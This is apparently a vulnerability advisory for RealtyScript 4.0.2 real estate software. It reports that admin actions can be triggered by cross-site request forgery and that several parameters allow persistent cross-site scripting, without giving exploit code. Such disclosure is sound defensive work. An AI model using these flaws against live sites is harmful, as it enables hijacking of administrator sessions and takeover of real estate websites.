RealtyScript v4.0.2 Multiple CSRF And Persistent XSS Vulnerabilities
Vendor: Next Click Ventures
Product web page: http://www.realtyscript.com
Affected version: 4.0.2
Summary: RealtyScript is award-winning real estate software that makes
it effortless for a real estate agent, office, or entrepreneur to be
up and running with a real estate web site in minutes. The software
is in daily use on thousands of domain names in over 40 countries and
has been translated into over 25 languages.
Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site. Multiple
cross-site scripting vulnerabilities were also discovered. The issue
is triggered when input passed via the multiple parameters is not
properly sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's browser
session in context of an affected site.
Tested on: Apache/2.4.6 (CentOS)
PHP/5.4.16
MariaDB-5.5.41
